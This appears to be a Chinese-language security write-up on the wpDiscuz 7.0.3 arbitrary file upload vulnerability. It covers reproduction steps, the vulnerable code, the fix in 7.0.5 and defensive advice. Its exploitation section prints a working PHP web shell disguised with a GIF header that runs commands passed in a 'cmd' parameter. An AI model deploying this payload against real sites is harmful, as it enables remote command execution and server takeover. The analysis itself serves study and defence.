wordpress插件wpdiscuz任意文件上传漏洞分析
字数 1140 2025-08-20 18:17:47
WordPress插件wpDiscuz任意文件上传漏洞分析
漏洞概述
wpDiscuz是WordPress的一个评论插件,在7.0.3及以下版本中存在任意文件上传漏洞,攻击者可以通过构造特殊的文件上传请求,绕过MIME类型检查,实现任意文件上传,最终可能导致服务器被完全控制。
漏洞复现环境
- 操作系统:Windows
- 环境搭建:phpstudy
- 开发工具:phpstorm
- WordPress插件版本:wpDiscuz 7.0.3
- 插件下载地址:https://downloads.wordpress.org/plugin/wpdiscuz.7.0.3.zip
漏洞复现步骤
- 解压插件到
wp-content/plugins目录 - 登录WordPress管理员后台启用wpDiscuz插件
- 在文章评论区上传一个带有GIF文件头的PHP文件(如:
<?php phpinfo(); ?>) - 上传成功后,系统会返回文件地址,如:
http://127.0.0.1/wordpress/wp-content/uploads/2020/08/1-1598075857.9448.php - 访问该URL即可执行上传的PHP代码
漏洞分析
漏洞入口
WordPress通过wp-setting.php加载插件,并将wp_ajax_nopriv_wmuUploadFiles写入$wp_filter:
foreach ( wp_get_active_and_valid_plugins() as $plugin ) {
wp_register_plugin_realpath( $plugin );
include_once $plugin;
do_action( 'plugin_loaded', $plugin );
}
通过表单的action参数触发插件加载:
$action = ( isset( $_REQUEST['action'] ) ) ? $_REQUEST['action'] : '';
关键漏洞代码
漏洞主要存在于wp-content/plugins/wpdiscuz/utils/class.WpdiscuzHelperUpload.php文件中:
- 文件上传处理函数(376行):
public function uploadFiles() {
require_once(ABSPATH . "wp-admin/includes/image.php");
foreach ($files as $file) {
$error = false;
$extension = pathinfo($file["name"], PATHINFO_EXTENSION); //获取文件扩展名
$mimeType = $this->getMimeType($file, $extension); //获取MIME类型
- MIME类型检测函数:
private function getMimeType($file, $extension) {
$mimeType = "";
if (function_exists("mime_content_type")) {
$mimeType = mime_content_type($file["tmp_name"]); //检测文件真实MIME类型
} elseif (function_exists("finfo_open") && function_exists("finfo_file")) {
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mimeType = finfo_file($finfo, $file["tmp_name"]);
} elseif ($extension) {
$matches = wp_check_filetype($file["name"], $this->options->content["wmuMimeTypes"]);
$mimeType = empty($matches["type"]) ? "" : $matches["type"];
}
return $mimeType;
}
- 文件类型检查:
private function isAllowedFileType($mimeType) {
$isAllowed = false;
if (!empty($this->options->content["wmuMimeTypes"]) && is_array($this->options->content["wmuMimeTypes"])) {
$isAllowed = in_array($mimeType, $this->options->content["wmuMimeTypes"]);
}
return $isAllowed;
}
- 文件上传执行:
private function uploadSingleFile($file) {
$currentTime = WpdiscuzHelper::getMicrotime();
$attachmentData = [];
$path = $this->wpUploadsPath . "/";
$fName = $file["name"];
$pathInfo = pathinfo($fName);
$realFileName = $pathInfo["filename"];
$ext = empty($pathInfo["extension"]) ? "" : strtolower($pathInfo["extension"]);
$sanitizedName = sanitize_file_name($realFileName);
$cleanFileName = $sanitizedName . "-" . $currentTime . "." . $ext;
$cleanRealFileName = $sanitizedName . "." . $ext;
$fileName = $path . $cleanFileName;
if (in_array($ext, ["jpeg", "jpg"])) {
$this->imageFixOrientation($file["tmp_name"]);
}
$success = apply_filters("wpdiscuz_mu_compress_image", false, $file["tmp_name"], $fileName, $q = 60);
if ($success || @move_uploaded_file($file["tmp_name"], $fileName)) {
漏洞原理
- 插件仅检查文件的MIME类型,而不验证文件扩展名是否与MIME类型匹配
- 攻击者可以构造一个带有图片文件头(如GIF)的PHP文件,绕过MIME类型检查
- 文件上传后保留原始扩展名(.php),导致可以执行任意PHP代码
漏洞修复
在wpDiscuz 7.0.5版本中修复了此漏洞,改进点如下:
private function isAllowedFileType($mimeType, $extension) {
$isAllowed = false;
if (!empty($this->mimeTypes) && is_array($this->mimeTypes)) {
foreach ($this->mimeTypes as $ext => $mimes) {
if ($ext === $extension) {
if ($isAllowed = in_array($mimeType, explode("|", $mimes))) {
break;
}
}
}
}
return $isAllowed;
}
修复后的代码会同时检查文件扩展名和MIME类型是否匹配,防止了任意文件上传漏洞。
漏洞利用方式
攻击者可以上传以下内容的PHP文件(伪装成GIF):
GIF89a
<?php
if(isset($_REQUEST['cmd'])){
$output = shell_exec($_REQUEST['cmd']);
echo "<pre>$output</pre>";
}
?>
上传后访问该文件并附加cmd参数即可执行任意系统命令。
防御建议
- 及时更新wpDiscuz插件到最新版本
- 对上传文件进行多重验证:
- 检查文件扩展名
- 验证MIME类型
- 检查文件内容是否与扩展名匹配
- 限制上传目录的执行权限
- 对上传文件进行重命名,避免保留原始扩展名
- 使用Web应用防火墙(WAF)拦截可疑的上传请求